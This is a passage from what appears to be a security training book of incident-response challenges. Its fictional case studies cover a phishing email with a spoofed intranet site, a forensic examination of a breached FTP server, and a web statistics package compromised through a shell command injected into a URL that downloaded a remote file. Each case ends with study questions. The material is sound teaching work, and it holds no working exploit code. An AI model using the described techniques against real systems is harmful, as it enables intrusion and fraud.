5. What are some ways the attacker could have made the exploit more difficult to trace?


CHALLENGE 4

Shooting Phish in a Barrel

by Tony Bradley, S3KUR3, Inc.
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	Industry: 

	  Public Relations




	Attack Complexity: 

	  Moderate




	Prevention Complexity: 

	  Moderate




	Mitigation Complexity: 

	  Moderate







It had been almost a year since Kim Montgomery left her corporate job at a large Fortune 100 company. Her position had first appeared stable and secure, but as she watched one major company after another lay off tens of thousands of employees, file bankruptcy, and liquidate pension and 401(k) funds to satisfy creditors, she had come to realize that security was just an illusion.

It certainly felt “comfortable” going to work each day to perform the same routine of mundane tasks, over and over, and be paid a respectable amount of money for it. But once Kim grasped that her “comfort” was just a façade that could come crashing down any moment, it was easy for her to walk away and find a “risky” career with a smaller firm across town.

In her role as network administrator for SpinRight, a conservative public relations firm, she had to learn to expand her horizons professionally and to maneuver in an entirely different corporate culture. She was accustomed to focusing only on her one small cog in the larger corporate machine and being referred to by her employee identification number rather than her name; it was new for her to take on a variety of responsibilities and for coworkers and management to know her by name.

Yet, here she was at SpinRight. Her title of network administrator did nothing to describe her true duties and functions. While a network administrator at her previous employer might have been just one of hundreds of individuals who focused specifically on the maintenance and administration of a particular server operating system, at SpinRight, network administrator really meant “the one-person IT department.” In addition to general server administration and network equipment maintenance, her duties included e-mail and database server administration, help desk and technical support, and network security.

FRIDAY, SEPTEMBER 16, 2005, 17:00

The term mundane applied to none of her days at SpinRight. With so many hats to wear and tasks to accomplish, each day presented unique challenges that kept her constantly busy. This week was no different. Friday was a hectic day to wrap up a hectic week, and she was glad it was finally winding down.

Along with the normal TGIF mentality she shared with most working adults, Kim was looking forward to a special weekend with her longtime boyfriend, Vince. He had invited her to go away for the weekend to a resort in the mountains. She had a feeling that this could be The Weekend that Vince finally proposed to her. At 32, she was still very attractive, but she also realized that the clock was ticking and she might need to leave the comfort of her relationship with Vince the same way she left the comfort of her corporate job, if Vince wasn’t willing to make a commitment sometime soon.

As she was heading out the door, her computer speakers erupted: “Engage!” It was the voice of actor Patrick Stewart, as Jean-Luc Picard in Star Trek: The Next Generation—the custom sound she had assigned to notify her when new e-mail had arrived in her inbox. She looked at the clock on her computer and saw that it was 5:04 p.m. She grabbed her coat and purse and headed out the door; this e-mail could wait until Monday.

FRIDAY, SEPTEMBER 16, 2005, 17:04

Howard Crawford was still trying to overcome the initial shock of his “baptism by fire” at SpinRight and get his bearings. Now in his third year of college, majoring in marketing and public relations, he thought that an internship at a public relations firm might be just the sort of experience he needed. He also thought it might help him decide whether to finish his degree and pursue a career in marketing and public relations or continue on and pursue a law degree.

Howard had expected to be given some sort of “gofer” role, running copies and fetching exotic, caramel-laced coffee beverages for the senior team members from the coffee shop at the corner. He expected to be able to watch how things are done to learn the ropes of the public relations business.

No such luck for Howard. On his first day at SpinRight, he’d barely had his coat off when he was invited in to a conference room for a team meeting. By the time the meeting was over, he had been assigned primary responsibility for handling a new campaign to boost the visibility and popularity of a local client who was considering running for office in an upcoming election.

In the weeks since that meeting he had more or less figured out what to do through trial and error (with more error than trial). Now Howard sat sifting through various demographic studies and polls, trying to determine the best way to frame the client in order to boost his public approval. He wondered whether taking this job was really such a great idea and wished that he had a “gofer” of his own to go out and get him some coffee. Instead, he drank some of the bitter sludge from the employee break room.

Even though it was getting late, he knew that he was going to be there for a while to get the press release done in time for the Monday edition of the local papers. After working for a few hours, he saw Kim Montgomery, the network administrator, heading for the door. He looked at the clock on his computer and saw that it was 5:04 p.m. He watched her walk away, thinking that if there were less than 10 years’ difference in their ages, and if he wasn’t against the concept of interoffice romance, who knows what could happen. His moment of reverie was interrupted by the sound of his e-mail software notifying him that a new message had just arrived.

He checked his inbox to find this message:
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He knew that Kim wore all of the IT hats, including security and general tech support. She was the one who had set up his computer system and walked him through using the company e-mail and getting around on the network. Kim was the one he called when he needed help getting connected to a printer. It seemed a little pretentious for her to send an e-mail that used we and sign it SpinRight Tech Support. Maybe she just had grandiose plans to head up some great corporate department someday instead of this solo operation. At any rate, he was busy right now. The security audit would have to wait until later.

MONDAY, SEPTEMBER 19, 2005, 05:30

Kim had not yet recovered from her devastating weekend. Not only did Vince not propose to her during their romantic weekend getaway, but she caught him flirting with a girl in the bar at the resort. She had left the resort early, taking Vince’s car and leaving him to find his own way home. Maybe his new tramp from the bar could drive him home.

After spending all day Sunday in bed crying, with a box of fudge-covered Oreos on her left and a box of tissue on her right, watching movie after movie on the Lifetime Network, she didn’t get much sleep that night. Contemplating jumping back into the dating game at her age and hoping to find true love quickly so she could be married before she was 40 was a depressing thought, to say the least.

She was abruptly awakened from a dream in which Vince was dying a slow death from a horrible disease (it was a story line from one of the movies she had watched, but ironically she was gleeful, rather than distraught like the woman in the movie), when her phone rang. “Hello?” she asked more than said, wondering who in the world had the audacity to call so early.

“Kim. We have a situation.” It was her boss at SpinRight, Doug Carlson. “I need you to get in her as soon as you can,” he said with a sense of urgency in his voice.

Doug was normally pretty laid back. She had never before heard any sense of actual concern in his voice, so it took her off guard. “I’ll be there as soon as I can,” she said. She jumped into the shower; her mind raced, as she tried to imagine what could possibly be so urgent.

MONDAY, SEPTEMBER 19, 2005, 06:30

“Have you called him yet to ask him what happened?” asked Kim. “I mean, I have only known the kid for a couple of weeks, but this really doesn’t seem like something he would do.”

“I don’t give a damn if it seems like something he would do or not!” barked Doug. “The fact of the matter is that one of our clients is being slandered on the front page of this morning’s newspaper and it is supposedly due to information taken directly from his press release.”

Kim would have loved to be able to defend Howard, but it was hard to argue with the black-and-white print facing her. Instead of detailing the charitable work and contributions their client had done, and explaining how their client’s plans and programs would help fix the economy and environment in the area, the article was filled with racial slurs and hate speech.

Doug continued, “I will deal with Howard when he comes in this morning. I got you out of bed and in here early so that you could check out his computer and gather as much information as you can before he gets here.”

Kim walked across the office to Howard’s desk and sat down to take a look at his computer system. She logged in as Administrator and began to poke around to see what she could find. But with security being only one of her many duties and with no formal security training, she wasn’t even sure what she was looking for.

She did a quick check of the Windows event logs to see if she could find anything suspicious or noteworthy, but she found nothing there. Kim made sure that the Trend Micro OfficeScan pattern files were current and ran a complete scan of the computer system to check for any viruses or other malicious software.

OfficeScan does check for spyware and other malicious threats other than viruses or worms, but Kim wanted to be sure that Howard’s system was clean. She installed a copy of Spybot Search & Destroy, a spyware detection and removal program, on Howard’s computer. After installing the latest updates, she scanned the system and nothing was detected.

It was almost 8:30 a.m. now. Howard would be walking through the door soon, with his exotic, caramel-laced coffee beverage in hand. She figured she should wrap things up and head back to Doug’s office to discuss what to do next. After digging around on the computer for almost two hours, she had turned up nothing of any real interest. On a whim, before logging out, she hunted down the press release in question on his hard drive. She was surprised to see that the version on Howard’s hard drive did not include any of the slanderous information contained in the newspaper article.

MONDAY, SEPTEMBER 19, 2005, 08:35

Howard strolled into work with a smile on his face, anxious to see the morning paper and the fruits of Friday’s arduous labor. He ended up working until almost midnight on Friday, compiling data and meticulously rewriting his press release. He wanted to prove that he was perfectly capable of handling a project of this magnitude and make a good impression on his bosses at SpinRight.

Howard was greeted by an ominous scowling bark from Doug, which quickly erased the smile from his face. “Into my office. Now!”

Kim was in Doug’s office as well. Howard took off his coat and hung it on the coat rack near the door, taking a seat in one of the chairs opposite Doug’s desk. The chairs looked much more plush and comfortable than they really were, and right now, the chair felt even less comfortable than Howard remembered it. He set his coffee cup on the corner of Doug’s desk and asked, “What’s the problem?”

Doug plopped the morning paper in front of Howard. As Howard read the story about their client, the next great political candidate, he saw none of the glowing praise and eloquent prose he had struggled so long to create Friday night. As he read the disparaging remarks about minorities and other contentious statements that were attributed to his client, the color drained from his face and he suddenly felt nauseated.

“This is not what I wrote,” he said, almost more of a plea than a statement. “That is not the press release that I e-mailed in to the paper.”

Kim jumped in. “I did a preliminary investigation of your computer this morning. I know that the version of the press release on your computer does not match what appears in the paper, but we still need to find out how they got that bogus information.”

“Well, while you guys talk about what happened and investigate further, I’ll call the paper to see what they know and how fast they can print a retraction. Then I have to call and kiss the client’s ass to make sure he doesn’t sue us—never mind whether or not we still have his business,” said Doug.

Kim and Howard left Doug’s office and walked over to Howard’s desk. “Walk me through what you did before you left on Friday,” said Kim.

“To be honest,” Howard began, “I didn’t even use the computer very much. I was reading over various background information and statistical data and working on the rough draft of my press release on paper.”

Howard opened one of the drawers on his desk and pulled out a fairly worn red binder with a notepad inside. He opened it and showed Kim the notes and scribbles and scratched-out attempts at finding just the right words. “I find it easier to think and be creative on paper rather than sitting at the computer.

“I would guess that it was at least 10:30 or 11:00 p.m. before I had a draft I was happy with and sat down at the computer to type it.”

Kim right-clicked the press release file and clicked Properties. Based on the date and time displayed for when the file was created, Howard’s story seemed to be accurate. She noticed, however, that the date and time the file was last accessed was showing as 4:23 a.m. on Saturday. “How late were you here on Friday?” she asked.

“I am not the fastest typist in the world. It took me about an hour to get the whole thing typed in. I left here shortly before midnight. I did that security audit thing you sent out, then I logged into the client database to upload a copy of the press release and zapped the e-mail off to the paper and hit the road.”

“What security audit thing…?” Kim started to ask, as Doug walked in.

“I just got off the phone with the editor at the paper. He says that he received a press release from Howard just before midnight on Friday, but then he received a follow-up e-mail around 6:00 a.m. Saturday morning, asking him to ignore the original e-mail and use the revised press release instead.”

Kim opened Howard’s e-mail client software and clicked the Sent Mail folder. The last entry showing was at 11:54 p.m. on Friday. “According to this, there was no e-mail sent from this computer at 6:00 a.m. on Saturday. Howard, can you show me this ‘security audit’ you mentioned? I did not send out any such thing.”

“I deleted it when I was done with the security audit. My e-mail is set to empty the deleted e-mail automatically when I shut down, so I don’t think I have it on my system anymore.”

“I got that audit, too,” Doug chimed in. “I didn’t do anything with it yet because I wanted to ask you why you were doing a security audit, but then we got blindsided with all of this chaos and I completely forgot about it. It’s still in my inbox.”

“Let’s go take a look at that,” Kim said, thinking she might be starting to understand what might have happened here.

MONDAY, SEPTEMBER 19, 2005, 10:30

“Scroll up. It arrived sometime on Friday. Stop! There it is, at 5:04 p.m. on Friday,” Doug directed.

Kim opened the e-mail message and read what it said. Without clicking the link, she scrolled the mouse over the hyperlink that said http://intranet.spinright.com and saw a pop-up box displaying the true destination of the link: http://164.109.27.132/index.html. “That’s not good,” she said.

“For starters, we don’t even have an intranet site. But the URL displayed here is not even the real destination. Take a look.” Kim pointed to the pop-up box.

“The site looked real enough. It matched our main website,” said Howard.

With some apprehension, but wanting to get to the bottom of this, Kim clicked the link. She was surprised to see just how right Howard was. The site was virtually identical to the company’s official website (Figure C4-1).
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Figure C4-1.   The SpinRight site



Kim did not fill in any of the information, but she had a hunch about the Submit button. Rather than clicking it, she right-clicked it and selected the option Save Target As to download a copy of the target file.

She zipped and password protected the downloaded file and then went to Trend Micro’s website to the “Submit A Suspicious File / Undetected Virus” page and uploaded the file. “We’ll have to wait a while for the results from Trend Micro, but I think I have a pretty good idea of what happened here,” she said. “I’m going to take a look at some other data. While I do that, can you ask the editor at the paper to send you a copy of the e-mail he received Saturday morning, Doug? Ask him not to forward it though. Have him send it as an attachment.”

[image: image]   QUESTIONS

1. How was Howard tricked into thinking that the intranet site was legitimate?

2. What really happened when Howard clicked the Submit button?

3. What can Howard do to avoid being victimized like this in the future?

4. What should SpinRight do to prevent being targeted by similar attacks in the future?


CHALLENGE 5

Too Few Secrets

by Steve Stawski and Jim Vaughn
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	Industry: 

	  Financial Services




	Attack Complexity: 

	  Moderate




	Prevention Complexity: 

	  Moderate




	Mitigation Complexity: 

	  Moderate







Austin began his career straight out of high school, skipping a lucrative computer science scholarship for a hip, fast-paced position. He started out as a programmer and then moved on to a network engineering position during the early dot com days. Still not satisfied with his job, he thought seriously about his next career move. He realized that the security aspect of his job intrigued him the most—incident handling and forensics were network troubleshooting on steroids. Having gone through a number of small-time security consulting contracts, Austin built up some decent expertise in writing policies and procedures. He found it interesting that most companies believed that a policy alone was going to solve all their security problems. To sharpen his skills, Austin spent his Friday nights and weekends experimenting with the latest security tools on his home “honey net” network, while drinking root beer and packing away hot wings.

After a short job search, Austin landed a position working for a medium-size financial institution called The Trading Company. He was hired to develop the company’s security program. The position involved working with other departments to test network policies, application vulnerabilities, and server security. He would also act as the internal incident response lead. Austin was told that this was a newly created position and that management was pushing for the security program. Security was critical because the company was about to launch a new e-commerce application that was anticipated to boost company profits to meet stockholder expectations.

Unfortunately, right from the start, Austin was asked to assist other IT departments that were short staffed or that required some of his unique skills. The additional duties distracted him from his primary responsibilities of making sure the network was secure and of ensuring that other departments were following security policies and procedures. His immediate supervisor, Mike, tried his best to keep Austin focused on developing the corporate security program. However, Mike did not have the full backing of his manager. Therefore, other more aggressive team managers incorporated Austin into projects and operational tasks outside of his direct supervisor’s oversight.
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Figure C5-1.   Diagram of external network shows Internet access, firewall, DMZ, servers, switch, database, and web server



Despite all the extra work, Austin managed to implement some user-based security policies and complete a high-level risk assessment of the company corporate Internet perimeter (see Figure C5-1). He even managed to get the server administrators group to patch all its DMZ servers, externally accessible Domain Name System (DNS), and Simple Mail Transfer Protocol (SMTP) gateway. However, Austin never got the opportunity to assess the company’s outsourced hosting network. The company’s new e-commerce application had been outsourced to a hosting provider to meet client Service Level Agreement (SLA) levels. Eventually, due to budget constraints, some of the services were either eliminated or brought back in-house. For Austin, this provided an interesting challenge (see Figure C5-2). The hosting center was 1500 miles away and was managed under a matrix operational structure made up of the remote hosting provider staff and an internal IT group operating locally.
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Figure C5-2.   Diagram of the hosting provider’s network shows the firewall, DMZ, server, and IP addresses



SATURDAY, MARCH 12, 2005, 20:00

Austin logged onto the corporate e-mail system to ease his pre-Monday morning stress level. He noticed an e-mail from the help desk staff stating that clients were reporting that network access to the new e-commerce application was extremely slow since Friday night and that the daily FTP jobs that transferred corporate data to the hosting database server had failed. The help desk manually started the FTP jobs a few times, but the FTP jobs always terminated without completing the transfers. In addition, users had reported that the website used to host the web interface was sluggish.

The help desk had tested the website from various Internet service providers (ISPs) and it seemed that the problem was closer to the edge of the hosting provider’s network. The help desk had opened a trouble ticket with the hosting provider’s network operations desk to verify that the hosting provider’s network was not having any routing problems or network degradation that might be impacting access to the company’s network resources.

Austin e-mailed the help desk, requesting a copy of the available logs for the FTP server. He believed that it might be worth taking a look at the FTP logs for anything that might have been overlooked by the server operation staff. Following are excerpts of three FTP logs of interest:
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Austin received an e-mail asking him to attend an early Monday morning meeting to determine whether he could provide some insight as to what might be going on with the e-commerce application. Austin immediately forwarded a copy of this e-mail to his supervisor, Mike, to keep him in the loop. Something about the problem seemed odd to Austin, especially after the hosting provider reported back that its network was running fine and that ICMP response times from various ISPs to the external IP interfaces of the company’s firewall were within the specifications of the negotiated SLA.

MONDAY, MARCH 14, 2005, 08:00

Austin attended the Monday morning emergency meeting. After a few hours of interviews and collecting facts, he requested additional logs and traffic captures. One assurance that he got from the meeting was that the hosting provider had installed a stateful inspection firewall. Yet Austin was distressed when he was informed that the requested managed intrusion detection system (IDS) service was never implemented.

Austin received a sniffer trace of the traffic in the outsourced provider’s DMZ, shown in Figure C5-3.
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Figure C5-3.   Sniffer trace of provider’s DMZ traffic



He then received a copy of the outsourced provider’s firewall policies. An excerpt is shown here:
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Upon reviewing these items, Austin determined that the FTP server needed to be forensically examined. He ran this idea through the e-commerce development team, which stated that no confidential or critical application data existed on the FTP server and insisted that the problem was an internal network issue. However, Austin persisted and eventually got enough support to get his request through.

In the meantime, Austin recommended that all remote access to the DMZ servers on the network be shut down immediately on the firewall. He got major resistance from the technical server operations manager, who also believed this was a network problem. Of course, the network operations manager agreed that the FTP server needed to be examined, since he had heard that the server had been recently updated with a batch of patches that were hastily added without any prior testing.

Austin knew that he needed to act fast if he was going to preserve any evidence on the server’s disks. He coordinated with Ethan, the host provider’s local administrator who had data center access, to make a copy of the FTP server using EnCase Forensic software. The forensic copy would allow Austin to examine the EnCase image in his office, since the IT department did not have a proper area for the examination of media. (EnCase Forensic, made by Guidance Software, is a court-accepted computer forensic program used to create exact duplicates of hard drives and other forms of media. EnCase allows you to make a bit stream image of a hard drive by copying each byte of data from the beginning of the hard drive to the end of the hard drive. It will capture active files, deleted files, unallocated space, and file slack, and if properly used it will also capture any hidden data.)

For this particular task, the FTP server would first have to be shut down. Ethan gracefully shut down the server’s operating system and then removed the power cable. He connected a brand new IDE (Integrated Device Electronics) hard drive to a Promise card that he inserted into a PCI slot. Once this was done, he reconnected the power cable and inserted an EnCase boot CD, which contained the necessary drivers to allow EnCase to run in DOS mode. Ethan turned on the server and allowed the RAID BIOS drivers to load so that the RAID-configured hard drives would be recognized. Once the server completed booting from the EnCase CD, Ethan was able to place a software lock on the server to avoid any writes being made to the hard drives. He was then able to make an exact forensic copy, saving the EnCase image (copy) to the brand new IDE hard drive he had connected to the Promise card. Once the EnCase image was complete, Ethan shipped it to Austin for analysis.

TUESDAY, MARCH 15, 2005, 10:00

Austin received the image and began his forensic analysis using EnCase. He started by looking at files that were accessed, deleted, or modified during the period when the performance of the e-commerce application began degrading. In addition, Austin examined files created a few days prior to the performance degradation. Shown in Figure C5-4 are key files that he identified.
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Figure C5-4.   Key files accessed, deleted, or modified



Next, Austin looked for what types of data might have been on the FTP server. He examined the administrator profile and found a link file still active on the desktop (Figure C5-5).
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Figure C5-5.   Link file data and dates



Austin then reviewed the recycler bin in Volume E. He found the file that was referenced in the link file found on the administrator’s desktop (Figure C5-6). With this final piece of evidence, Austin was ready to prepare his preliminary report documenting his findings and initial recommendations. He then submitted the report to his supervisor.
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Figure C5-6.   Recycler bin file of interest



Mike received Austin’s forensics report and was stunned. Austin’s report stated that this incident was not a network anomaly, an application problem, or a server performance issue. Instead, Austin reported that a serious security breach of confidential client data had occurred. Mike immediately began to regret being the corporate security manager. He realized that he never really had control of the security environment or full support from management to take control of the situation. He believed that he would be held responsible for a breach of security, since the formal security program was never completed.

[image: image]   QUESTIONS

1. What triggered Austin to request an image of the FTP server for forensic examination?

2. What was the forensic significance of the link file that Austin discovered?

3. What evidence convinced Austin that critical client information had been compromised?

4. What could Mike have done to assist Austin, so that he could have better addressed the security issues facing the company?


CHALLENGE 6

Upgraded or “Owned?”

by Anton Chuvakin, netForensics, Inc.
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	Industry: 

	 Internet Service Provider



	Attack Complexity: 

	 Medium



	Prevention Complexity: 

	 Low



	Mitigation Complexity: 

	 High






By the year 2005, the Internet was well on the path to becoming a staple in every household—along with cable TV, phone service, and electricity. All major corporations and a large number of small and medium-sized businesses had websites, and many featured e-commerce capabilities. As the Internet became more common, web hosting businesses lost their cutting-edge appeal—and Ownit, Inc., was certainly feeling the effects.

Ownit was a small ISP in New Jersey that was known for its low web hosting rates for small businesses and its friendly customer service. The company also threw in lots of free extras to entice customers, such as free Common Gateway Interface (CGI) scripting, MySQL hosting for database-driven web applications, and an advanced web statistics package. As a result, Ownit did a reasonably good job of retaining customers and keeping them from migrating to major web hosting houses. Being a small ISP, the company was not too focused on security; its staff sysadmins took care of security concerns as best they could. They had gained and battle-hardened their skills in combating hackers who were trying to compromise the servers in the mid-1990s when the ISP was founded.

Ownit’s main workhorses were a dozen or so Red Hat Linux (Fedora and Advanced Server) systems. The systems were used for most hosting tasks, such as e-mail and web services. Ownit also used a variety of Windows systems for web developers and graphic artists, and two Windows servers were deployed for those wishing to have their websites hosted on Internet Information Server (IIS), if they felt adventurous enough to try it (most weren’t!).

Most of the Windows boxes, which were not exposed to public networks and were protected by the same PIX firewall that shielded the Linux servers (which also did Network Address Translation, or NAT, on the internal IP addresses), were usually patched via Windows Update Services directly from Microsoft. Those running IIS web servers in the DMZ were patched via Windows Update Services as well, and the status of patching success was dutifully verified.

Red Hat and Fedora boxes were rarely patched, since they were perceived to be secure. Administrators used the Up2Date utility to accomplish this. The ISP made a switch to Linux from Solaris. The older Solaris boxes, hailing back to the days when they were called SunOS, were hacked several times, and the newer Linux systems were faring much better even without religious patching.

In this age of Windows viruses, worms, and spyware, Ownit’s owners were content with Linux for both security and manageability reasons. Customers were happy with the quality and reliability of their sites and e-mail connectivity. And this is where our story begins.

TUESDAY, MARCH 13, 2005, 10:15

It was a typical non-Monday morning at Ownit, Inc. Two colleagues from the sysadmin team, Jim and Joe, were going through the daily routine of server and application management tasks (“that weren’t automated yet,” as Jim would sometimes say), while violating the strict “no coffee in the server room” policy.

“Hey, Jim,” said Joe Kettlesmart, the senior system administrator of Ownit, addressing his junior colleague, who was responsible for web applications. “Did this Joseph guy from ‘Seduce and Post’ finally get to you? He called several times yesterday. It looks like he wanted to thank you for upgrading our stats package, since the new version has some fancy feature that helped him track the progress of his new campaign.”

Holding his third cup of coffee on this soon-to-be-memorable morning and thinking “That’s one too many; I should switch to decaf,” Jim was surprised. “No, he never did reach me.” After a pause, which might have indicated that he was thinking, Jim continued: “And, as far as I remember, I didn’t really touch the AWStats, at least not on this server. I’ve been meaning to update it for some time, but other stuff keeps piling up.”

“This Joseph is a funny guy. And his website has been getting a lot of hits lately. I was looking at his overall traffic usage report some time ago and his share of bandwidth has been growing steadily. To think that his business is a site where men can post pictures of women they seduced and people actually pay for this stuff—maybe you and me are in the wrong biz.”

Jim agreed. “Yeah, there are a lot of weirdos out there who are willing to pay for such a ‘service.’ But did you say he thanked you for an upgrade we did?”

“He just said ‘thanks for finally upgrading it.’ He said that he sent some e-mails to you asking for an upgrade, and now he is happy since he finally got his much-needed stats archiving feature, or something of that sort.”

Jim considered this. “Yeah, those e-mails are still sitting in my inbox. Hmm… later 6.x versions of AWStats do have this feature, but we run version 6.1, which doesn’t. That’s interesting! Let me see… maybe I did upgrade it in my under-caffeinated state and forgot about it. Or maybe the guy is just confused!”

TUESDAY, MARCH 13, 2005, 14:15

After finishing some other tasks, Jim launched his Secure Shell (SSH) client and logged into a Fedora (a “community-supported” version of Red Hat Linux) server with the boring name of websmall18, which was used by several of Ownit’s smaller customers, including Seduce and Post. To save hardware, Ownit used the same system to host both e-mail and web pages for such customers. This server, for example, ran a dozen websites and handled about 100 unique e-mail users.

Suspecting that the server would still be using AWStats version 6.1, Jim changed to a directory where documentation for the package was installed:
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After executing the command ls -l, Jim expected to see this among other directory entries:
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However, he discovered this instead:
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At that point, Jim was sure that he had not upgraded the software. “Okay, who on earth did that?” he thought. He ran an rpm (Red Hat Package Manager—a software distribution and management system) command to confirm the installed version:
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No mistake, as here was the result:
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Jim called another junior system admin, Josh, who used to do some work on this system. Josh said that he hadn’t touched the box for months. Jim knew it was time to dig into the logs.

TUESDAY, MARCH 13, 2005, 15:15

Jim knew that the customer named Joseph called to thank him yesterday. He decided to review systems logs (located in /var/log/ on this Linux system) for March 12 and several days prior to this. Almost immediately he came across this:
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“Uh-oh,” he mumbled. “If I were in my first year as a green sysadmin, I would think somebody was doing late-hour system maintenance here. I don’t think folks at Ownit are into such things; 2 a.m. is a time for sleeping, and that’s what all system people here do at that time. Somebody just reconfigured our inetd daemon, which controls network connections to the system.”

“But,” he wondered, “how was that related to the AWStats upgrade?” It seemed awfully suspicious.

Jim decided to check the command history for root, thinking that whoever, or whatever, upgraded the AWStats might have left traces there. He typed history in the shell prompt, but he saw only his own commands that he typed today:
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“Okay, Houston, we have a problem! I need to talk to others about further action.”

TUESDAY, MARCH 13, 2005, 16:07

Jim voiced his suspicions (which, at that point, were more than just suspicions, really) to other administrators, including Joe. After a brief discussion, Joe summarized the dilemma: “It sure looks like an intrusion. We do not know yet how it is related to the mysterious upgrade, but it sure is weird that the daemon restart, disappearance of history, and this ‘upgrade’ happened on the same day.”

“The funny thing is,” added another admin, “that this Red Hat box is fully patched via Up2Date. We can check again, but the service was running fine last time I checked.” (Up2Date is Red Hat’s service, similar to Microsoft Update, used for automatically downloading and applying patches to Red Hat Linux servers.)

At this point, Ken, another admin who had just walked in, added, “Why all the fuss? Maybe this AWStats that you guys are talking about was automatically upgraded by Up2Date?”

When Jim heard this, he had his “Eureka!” moment, the first of the evening. “No, Ken, we installed AWStats ourselves! Up2Date will not touch it. However, you are still a genius!”

“Why?” Ken responded.

“Even though we think the box was fully patched, it really wasn’t. It had some stuff installed by us, and those installations are obviously not patched automatically. I admit I never heard about anybody hacking AWStats, but, hey, there is always the first time.”

At this point, they all decided to look further into what else happened on the system.

TUESDAY, MARCH 13, 2005, 16:34

Since AWStats is a CGI application, somebody suggested they look at web server logs, originally overlooked by Jim. He did a quick scan of Apache’s access_log (located in /var/log/http), which revealed these mysterious lines, related to
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“It looks like somebody stuck a shell command in the URL, and a whole bunch of weird characters. Moreover, it calls our good friend, AWStats, in some peculiar way. It seems to me that they were trying to download a file.”

At this point, Jim suggested they look at the firewall logs to confirm that this download actually happened. They found this piece of evidence—the “final nail in the coffin”:
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“Our web server connected to an FTP server in Romania that night. Do I need to say more?”

TUESDAY, MARCH 13, 2005, 17:10

After a short break, Jim proceeded to look at the compromised server. While he was convinced that the server was indeed penetrated by hackers, he wanted to connect the attack to the AWStats package upgrade in a convincing way, so that he could present the incident case to his superiors (if they cared to ask—though Jim doubted that they would).

For that, he looked at the date of the installed files AWStats, which matched the time of the intrusion:
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“So, it looks like it’s all coming together,” he said.

Jim wondered what else their “friend” had modified on the system. He knew about tools such as Tripwire (http://www.tripwire.com), but they were not in use on Ownit’s systems. He figured that he should probably deploy Tripwire when he rebuilt the server (at that point he had no doubt that it would need to be rebuilt).

“Let’s seeee…” he said, as he brought the keyboard closer and nervously tapped the keys. “Where might his stuff be?”

Since the attacker first came as a user named apache, Jim decided to check the locations that such a user can write to: /tmp and /var/tmp. Obviously, a successful download pushed through the URL might happen only to one of those directories (or whatever else was writable to apache, even by mistake).

He quickly typed the following:
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“Hmm, nothing interesting or out of the ordinary,” he reflected, “but what if this guy got root? In that case, his stuff can be anywhere!” Jim paused. “Where could he hide stuff on a system? Some location where people just don’t look…. How about this?”
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It was getting late, and Jim figured he’d spent enough time playing Sherlock Holmes. “Let’s rebuild it tomorrow.”

WEDNESDAY, MARCH 14, 2005, 08:34

This day started slow. In fact, Jim wished it could be even slower since he had to rebuild the server. He started by erasing the partition contents from a local root prompt. Next, he got out his Red Hat CDs. After the installation was finished in a typical uneventful Red Hat manner, he decided to do the right thing and patch the server right away. However, he needed the Internet access to connect to the Red Hat patch repository.

He put the 1U Dell box back on the rack, where it sat before, screwed it in, configured the old IP address, and launched the Up2Date program to download all the updates.

Last time Jim did this, the process took more than an hour, since updating from a fresh system involved downloading almost 100 patches—some of them up to 20MB in size. While the update occurred, Jim took a break, chatting with fellow admins about the incident. (“Are we lucky or what?”)

When he came back two hours later, the update had completed with no errors. Jim visited the backup tape closet, found a recent tape of this server, and proceeded to restore the user directories and websites to disk.

After he was through with the standard server restoration routine “the Ownit way,” Jim went to the AWStats site (http://awstats.sourceforge.net/) to download the latest version in the RPM package. He uninstalled the version from the backup (6.1) by running the following:
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Then he proceeded to deploy a new version:
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Completing this, he scratched his head, wondering what other applications the hacker had deployed that needed patching.

WEDNESDAY, MARCH 14, 2005, 14:11

When Jim was finished, the server was returned to production and he sent an e-mail to all the other admins:
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“I am done!” he thought. However, doubts and concerns remained on his mind.

[image: image]QUESTIONS

1. Why are the timestamps different at the web server and the firewall system?

2. What is likely contained in the a.tgz file that was downloaded by the attacker?

3. What could Ownit have done to prevent this situation?

4. What are the common locations for the attacker’s software that Jim did not check?

5. What did Jim do wrong while restoring the server?

6. What minor security policy weakness is manifested in Jim’s e-mail to his fellow system admins?


CHALLENGE 7

Pale Blue Glow

by Tony Bradley, S3KUR3, Inc.
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	Industry: 

	 Banking and Finance



	Attack Complexity: 

	 Moderate



	Prevention Complexity: 

	 Easy



	Mitigation Complexity: 

	 Moderate






TUESDAY, JANUARY 10, 2006, 11:28

“Hey, Ethan, have you checked the VPN logs this week?” Paige asked.

“No. Not yet. Who wants to waste time analyzing boring logfiles of workaholic executives accessing the network from home to work throughout the night when I can just play Quake 4?” he replied.

“I am sure that protecting Earth by running around decimating hordes of Stroggs with firepower to rival the United States nuclear arsenal is very exciting. However, I am responsible for safeguarding the network and you are paid to do my bidding, so wrap it up and check the VPN logs,” Paige countered.

Paige was finding her job increasingly boring. She had quickly mastered computer technology and computer networking and ascended the ranks to become the lead network administrator of Capitalism Lending. Being only 26 years old and the only woman in the IT department, she didn’t always get the respect she thought she deserved from the rest of the IT staff.

Paige turned her attention to her own tasks. For the first time since she assumed the role of managing the network administration team, she had to do their job assessment and performance reviews. Technically speaking, playing Quake 4 (or any other game, for that matter) on company resources during company time was against policy, but she decided to ignore that and just focus on how well each individual accomplished his or her job. As long as they got their assigned tasks done properly and completed on time, she didn’t see the harm in a little playtime.

Having annihilated the last of the Strogg aliens, Ethan quit his game and tried to prepare himself mentally for the drudgery to follow. While Ethan loved computers and was adept at using them, he really hated the tedious administrative tasks associated with his job. Configuring and deploying new systems for users or troubleshooting network issues were much more exciting tasks than reading line after line of log data hoping to find some “needle in a haystack” that might suggest some sort of unauthorized access or other issue.

Ethan pulled up the VPN log data on his screen and began reviewing all of the entries for the past week. After reading a couple hundred lines of the same mundane crap, he came across some entries that seemed odd. “Paige, who does the user ID ‘tfreeman’ belong to?”

Paige thought for a minute and then responded, “Oh! That’s Teegan Freeman from Human Resources.”

“Do you have any idea why he would be trying to access the accounting directories or Mr. Glover’s personal folder?” asked Ethan. The “Mr. Glover” was Dalton Glover, founder and CEO of the company. Nobody but Glover himself, or maybe his administrative assistant, Debbie, should be trying to access that folder.
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“No,” answered Paige. “Let me see what you’re looking at.” Paige walked over to look at Ethan’s screen and check out the log data herself. She saw failed access attempts to a variety of resources that Teegan had no business trying to access. “He should definitely know better than to even try to access that information,” Paige thought out loud.

TUESDAY, JANUARY 10, 2006, 15:16

After talking with Jordan Price, IT director and Paige’s boss, Teegan was called in to discuss the bizarre VPN log data. Paige took a seat opposite Jordan and admired the view he had of the city from his corner office. She envied the spacious and luxurious office and was anxious for the day that she might move up to a position of that caliber.

